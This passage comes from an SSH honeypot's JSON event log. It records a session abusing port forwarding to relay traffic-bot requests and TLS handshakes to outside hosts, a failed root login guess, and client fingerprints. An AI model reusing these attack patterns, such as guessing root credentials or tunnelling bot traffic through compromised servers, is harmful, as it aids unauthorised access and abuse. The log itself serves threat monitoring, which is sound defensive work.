{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:44.932608Z","src_ip":"123.27.168.40","session":"c37a77fcc7ba","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.1 Mobile/16A404 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1166\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=NjBJQ1c2aUVaemo%2BWmJjKw%3D%3Dn7AkTE%2BTJ88Ij3xOGYyNg2VBqWKgbTL55ZSfrGgHIpVA%2B7eIi58kDRNuxUkmM86Sxae8RsQUYKwcLfLKR7MrbGweHuk%2B2NAJ1IIxHJ86Kj%2Fm2g2imPJJmj9Udwo8wc3D26QhIhNWsvrPrkfxNWIS%2BZ4b9O%2F3WnUM2G6GI7yZb04Gv5HFwwif129usZ%2FkUrGrFAFhAkA%2FTGJxL5GwqARZo5YiJylVMH0K3%2FMEYBui5VNf0XKCSEAay0Z7xFUB8h8oZ5UO781ujrGzuZPQ2hgz3BcfBJ11nQN%2BVpBbANGX45%2FSioIJmr7tH7rcF7IfyPD6%2FCYk4inFZ73CjbJZJqPdCf8OXY80oYI8rOpEfpAwv5mDxxhmWG7XRR8dd0cALsX4jJlryJthZe5ZrpaLL%2FWnfAvMOPQ0SqQz7ujFPTs4Zms%2BkJ8zgheDk6W%2BaucFCW4HYsLSlkR11vPtsjeMAhHYW0UuzlzNORjlhbEw%2BwXj57OnOLGNLLcRxCT2BttDASekY309pxq9m8ijUeBW81E%2BLjY3Nm9FNkWDw1ZMZXuF2aZjF%2F6duni%2B14iykvCJMeuEqmDd2zci8eKsb4HiSUwtbzp%2BG%2FDK5V2nEgR%2B6OObNE1GIEpLr93AN31E0%2FJ6yPiPsEgvseNixtTYK3T%2FJOKlpWGHG5%2BDGdIoFChTifqVTKXDvuyj2jzofsbaNan81Zaxpgmgy%2FEPoiHzeUxcQkZtHqwNULKX8d4lJqFvm%2BiLCd58mC%2FXmH3rax%2Fz0tQUpk18jn3q11LonHgD5I%2FLn3pNHspYcoyXE5CkrkTX741S6B9NMxddZeAxF4vtANyGFln3HzzCMBj6AH5H%2FuVo3FxatBezVMRKPUK6LGUXg7Beb72EXYI10J2Inz3nrZmxe1NVhLLaiRcJxw8pXIQnL6VOILUlzOGZJtgrGqGaYy318c%2FofA1rCrp4Mwuc6hwmUEvXrDuYarEzsrnSeyESLDHhLltd5zsxFtWRqASZpm9L1wWQgpxRQqFZi4ABBpuy3CahxpCMTn1yjOzR0WCipFP5dcit8QvvvrJQKVpdhGnhQcw%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.1 Mobile/16A404 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1166\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=NjBJQ1c2aUVaemo%2BWmJjKw%3D%3Dn7AkTE%2BTJ88Ij3xOGYyNg2VBqWKgbTL55ZSfrGgHIpVA%2B7eIi58kDRNuxUkmM86Sxae8RsQUYKwcLfLKR7MrbGweHuk%2B2NAJ1IIxHJ86Kj%2Fm2g2imPJJmj9Udwo8wc3D26QhIhNWsvrPrkfxNWIS%2BZ4b9O%2F3WnUM2G6GI7yZb04Gv5HFwwif129usZ%2FkUrGrFAFhAkA%2FTGJxL5GwqARZo5YiJylVMH0K3%2FMEYBui5VNf0XKCSEAay0Z7xFUB8h8oZ5UO781ujrGzuZPQ2hgz3BcfBJ11nQN%2BVpBbANGX45%2FSioIJmr7tH7rcF7IfyPD6%2FCYk4inFZ73CjbJZJqPdCf8OXY80oYI8rOpEfpAwv5mDxxhmWG7XRR8dd0cALsX4jJlryJthZe5ZrpaLL%2FWnfAvMOPQ0SqQz7ujFPTs4Zms%2BkJ8zgheDk6W%2BaucFCW4HYsLSlkR11vPtsjeMAhHYW0UuzlzNORjlhbEw%2BwXj57OnOLGNLLcRxCT2BttDASekY309pxq9m8ijUeBW81E%2BLjY3Nm9FNkWDw1ZMZXuF2aZjF%2F6duni%2B14iykvCJMeuEqmDd2zci8eKsb4HiSUwtbzp%2BG%2FDK5V2nEgR%2B6OObNE1GIEpLr93AN31E0%2FJ6yPiPsEgvseNixtTYK3T%2FJOKlpWGHG5%2BDGdIoFChTifqVTKXDvuyj2jzofsbaNan81Zaxpgmgy%2FEPoiHzeUxcQkZtHqwNULKX8d4lJqFvm%2BiLCd58mC%2FXmH3rax%2Fz0tQUpk18jn3q11LonHgD5I%2FLn3pNHspYcoyXE5CkrkTX741S6B9NMxddZeAxF4vtANyGFln3HzzCMBj6AH5H%2FuVo3FxatBezVMRKPUK6LGUXg7Beb72EXYI10J2Inz3nrZmxe1NVhLLaiRcJxw8pXIQnL6VOILUlzOGZJtgrGqGaYy318c%2FofA1rCrp4Mwuc6hwmUEvXrDuYarEzsrnSeyESLDHhLltd5zsxFtWRqASZpm9L1wWQgpxRQqFZi4ABBpuy3CahxpCMTn1yjOzR0WCipFP5dcit8QvvvrJQKVpdhGnhQcw%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:44.935591Z","src_ip":"123.27.168.40","session":"c37a77fcc7ba","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:45.172552Z","src_ip":"123.27.168.40","session":"c37a77fcc7ba","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1ds\\x99\\x81\\xe6\\x94\\xf5}\\xe5\\xf4\\xdc\\x87h\\x9e\\xf7\\x11tm\\xb9\\x9bS\\xd00ca5\\x04\\xd3\\xd9\\x82\\xdeo \\xfe\\x7f\\xafLfpU\\xa5q\\xe6\\xd3\\xc7X*)\\x87\\xb2\\x9d\\xbcU\\x8e\\xc1p\\xec\\x8c\\x9b\\xc9\\x7f\\xad\\xb86\\xac\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 (1\\xb7\\x1a\\x91\\xa9\\xda\\xbaL;\\xd2I\\x16Q\\xa7/\\x9f\\xd3@\\x05Z\\xfc\\xcb\\x8fm*\\x17\\x16\\xf7\\xc8\\xe7E\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1ds\\x99\\x81\\xe6\\x94\\xf5}\\xe5\\xf4\\xdc\\x87h\\x9e\\xf7\\x11tm\\xb9\\x9bS\\xd00ca5\\x04\\xd3\\xd9\\x82\\xdeo \\xfe\\x7f\\xafLfpU\\xa5q\\xe6\\xd3\\xc7X*)\\x87\\xb2\\x9d\\xbcU\\x8e\\xc1p\\xec\\x8c\\x9b\\xc9\\x7f\\xad\\xb86\\xac\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 (1\\xb7\\x1a\\x91\\xa9\\xda\\xbaL;\\xd2I\\x16Q\\xa7/\\x9f\\xd3@\\x05Z\\xfc\\xcb\\x8fm*\\x17\\x16\\xf7\\xc8\\xe7E\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:45.175331Z","src_ip":"123.27.168.40","session":"c37a77fcc7ba","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:45.654329Z","session":"c37a77fcc7ba","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:45.899471Z","src_ip":"123.27.168.40","session":"c37a77fcc7ba","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03i\\xd6\\xf1\\r\\xc3\\xec\"\\x96d\\xab2Mf\\x03\\xcf\\xa5\\xf5\\xe4\\x10\\xd9\\xe8(\\xf3\\xd2\\xbb\\xdc\\xa4d\\xe4>j. \\x7f\\xa4\\xf1b\\xc1h\\xc3\\x7fqk\\x12\\xba?\\xd8\\xfc\\x81\\xb3\\x14b:\\xa1\\x13\\x96k\\xe4\\xe5,z\\xe8\\x0f\\xa3\\x94\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc6\\xce\\x80_ g.\\xed\\x12*V\\x1a\\x99>\\xe7X\\x9c\\xd8\\x8ee\\x84\\xaf\\x1bz{M\\xdf\\x1e\\xe3\\x90K5\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03i\\xd6\\xf1\\r\\xc3\\xec\"\\x96d\\xab2Mf\\x03\\xcf\\xa5\\xf5\\xe4\\x10\\xd9\\xe8(\\xf3\\xd2\\xbb\\xdc\\xa4d\\xe4>j. \\x7f\\xa4\\xf1b\\xc1h\\xc3\\x7fqk\\x12\\xba?\\xd8\\xfc\\x81\\xb3\\x14b:\\xa1\\x13\\x96k\\xe4\\xe5,z\\xe8\\x0f\\xa3\\x94\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc6\\xce\\x80_ g.\\xed\\x12*V\\x1a\\x99>\\xe7X\\x9c\\xd8\\x8ee\\x84\\xaf\\x1bz{M\\xdf\\x1e\\xe3\\x90K5\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:45.902402Z","src_ip":"123.27.168.40","session":"c37a77fcc7ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:46.283945Z","src_ip":"123.27.168.40","session":"c37a77fcc7ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"27.1","message":"Connection lost after 27.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:50.478260Z","src_ip":"173.208.188.210","session":"90521652405c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":45138,"dst_ip":"10.17.0.5","dst_port":22,"session":"15d004390cb4","protocol":"ssh","message":"New connection: 103.27.238.116:45138 (10.17.0.5:22) [session: 15d004390cb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:15.240723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:15.246795Z","src_ip":"103.27.238.116","session":"15d004390cb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:15.514965Z","src_ip":"103.27.238.116","session":"15d004390cb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"grinder","message":"login attempt [root/grinder] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:16.312461Z","src_ip":"103.27.238.116","session":"15d004390cb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:17.579747Z","src_ip":"103.27.238.116","session":"15d004390cb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.51","src_port":53294,"dst_ip":"10.17.0.5","dst_port":22,"session":"213ac6ebe131","protocol":"ssh","message":"New connection: 23.175.50.51:53294 (10.17.0.5:22) [session: 213ac6ebe131]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:18.552816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:18.578009Z","src_ip":"23.175.50.51","session":"213ac6ebe131","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","e